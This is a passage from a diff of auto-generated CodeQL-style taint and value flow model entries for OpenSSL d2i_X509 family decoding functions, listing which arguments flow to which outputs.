"Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", 